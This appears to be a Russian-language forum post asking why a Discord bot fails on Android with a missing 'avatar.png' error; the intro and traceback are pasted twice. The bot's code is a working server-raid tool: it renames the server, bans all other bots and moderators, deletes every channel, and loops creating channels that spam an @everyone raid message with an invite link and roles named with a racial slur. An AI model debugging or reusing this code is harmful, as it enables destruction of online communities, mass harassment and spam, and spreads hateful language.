ОС: Android (тот же Linux)
Версия Python: 3.12
Используемые библиотеки: Discord, OS
Приветствую, я написал код для дискорд бота. На винде я пробовал, работает отлично. Но вот когда ноута нету под рукой, приходится запускать скрипты на телефоне. Но вместо нормальной работы сегодняшнего скрипта я получаю ошибку:
====================================
2024-08-04 23:28:07 INFO discord.client logging in using static token
2024-08-04 23:28:09 INFO discord.gateway Shard ID None has connected to Gateway (Session ID: bdf45161ad06b20c1d9f2a2a134d2a0a).
Logged in as VenyaAI
2024-08-04 23:28:23 ERROR discord.ext.commands.bot Ignoring exception in command start
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 235, in wrapped
ret = await coro(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<string>", line 34, in start
FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/bot.py", line 1366, in invoke
await ctx.command.invoke(ctx)
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 1029, in invoke
await injected(*ctx.args, **ctx.kwargs) # type: ignore
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 244, in wrapped
raise CommandInvokeError(exc) from exc
discord.ext.commands.errors.CommandInvokeError: Command raised an exception: FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'
====================================
Я понимаю, что ошибка в том, что код не видит изображение, но оно находится в той же папке, что и код. Объясните пожалуйста, в чём дело? Если что писал я всё в приложении Pydroid.
Код:
Версия Python: 3.12
Используемые библиотеки: Discord, OS
Приветствую, я написал код для дискорд бота. На винде я пробовал, работает отлично. Но вот когда ноута нету под рукой, приходится запускать скрипты на телефоне. Но вместо нормальной работы сегодняшнего скрипта я получаю ошибку:
====================================
2024-08-04 23:28:07 INFO discord.client logging in using static token
2024-08-04 23:28:09 INFO discord.gateway Shard ID None has connected to Gateway (Session ID: bdf45161ad06b20c1d9f2a2a134d2a0a).
Logged in as VenyaAI
2024-08-04 23:28:23 ERROR discord.ext.commands.bot Ignoring exception in command start
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 235, in wrapped
ret = await coro(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<string>", line 34, in start
FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/bot.py", line 1366, in invoke
await ctx.command.invoke(ctx)
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 1029, in invoke
await injected(*ctx.args, **ctx.kwargs) # type: ignore
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/data/user/0/ru.iiec.pydroid3/files/aarch64-linux-android/lib/python3.11/site-packages/discord/ext/commands/core.py", line 244, in wrapped
raise CommandInvokeError(exc) from exc
discord.ext.commands.errors.CommandInvokeError: Command raised an exception: FileNotFoundError: [Errno 2] No such file or directory: 'avatar.png'
====================================
Я понимаю, что ошибка в том, что код не видит изображение, но оно находится в той же папке, что и код. Объясните пожалуйста, в чём дело? Если что писал я всё в приложении Pydroid.
Код:
Python:
import discord
from discord.ext import commands, tasks
import os
TOKEN = 'тут должен быть токен бота'
NEW_SERVER_NAME = 'ПРОТУХШИЙ СЕРВЕР'
AVATAR_PATH = 'avatar.png''
intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True
intents.members = True
intents.presences = True
bot = commands.Bot(command_prefix='!', intents=intents)
created_channels = []
@bot.event
async def on_ready():
print(f'Logged in as {bot.user.name}')
@bot.command()
async def start(ctx):
guild = ctx.guild
message = "# **ВНИМАНИЕ, СЕРВЕР ПРОТУХ**\n@everyone\n-# рейдеры решили, что ваш сервак является парашным, поэтому он был зарейжен:)\n https://media.discordapp.net/attachments/1266782423472013464/1267879236782264432/479eb17-6-1-1.gif?ex=66aa640e&is=66a9128e&hm=50e5e0c3d4074ffdc39267340ef7dd2487b7d330132c9a9c953e5c8513409d18&=&width=310&height=437\n**ПРИХОДИТЕ В ВЕЛИКУЮ ТИТМАУСЛЯНДИЮ - https://discord.gg/b4ZAk8Jh**"
role_name = "НЕГР228"
with open(AVATAR_PATH, 'rb') as avatar:
await guild.edit(name=NEW_SERVER_NAME, icon=avatar.read())
print(f'Server name changed to {NEW_SERVER_NAME} and avatar updated.')
for member in guild.members:
if member.bot and member != bot.user:
try:
await member.ban(reason="Бан всех ботов")
print(f'Banned bot {member.name}')
except discord.Forbidden:
print(f'Cannot ban bot {member.name}: Missing Permissions')
for member in guild.members:
if any(getattr(member.guild_permissions, perm) for perm in [
'kick_members', 'ban_members', 'administrator', 'manage_channels', 'manage_guild', 'manage_messages'
]):
try:
await member.ban(reason="Бан всех модераторов")
print(f'Banned moderator {member.name}')
except discord.Forbidden:
print(f'Cannot ban moderator {member.name}: Missing Permissions')
for channel in guild.channels:
try:
await channel.delete()
print(f'Deleted channel {channel.name}')
except discord.Forbidden:
print(f'Cannot delete channel {channel.name}: Missing Permissions')
@tasks.loop(seconds=0.00000000000000000000000000001)
async def create_channels_and_send_messages():
try:
new_channel = await guild.create_text_channel('новый-канал')
print(f'Created new channel {new_channel.name}')
created_channels.append(new_channel)
await send_messages_to_channels(message)
except discord.Forbidden:
print(f'Cannot create channel or send message in guild {guild.name}: Missing Permissions')
@tasks.loop(seconds=1)
async def create_roles():
try:
new_role = await guild.create_role(name=role_name)
print(f'Created new role {new_role.name}')
except discord.Forbidden:
print(f'Cannot create role in guild {guild.name}: Missing Permissions')
async def send_messages_to_channels(message):
for channel in created_channels:
try:
await channel.send(message)
print(f'Sent message to {channel.name}')
except discord.Forbidden:
print(f'Cannot send message to channel {channel.name}: Missing Permissions')
create_channels_and_send_messages.start()
create_roles.start()
bot.run(TOKEN)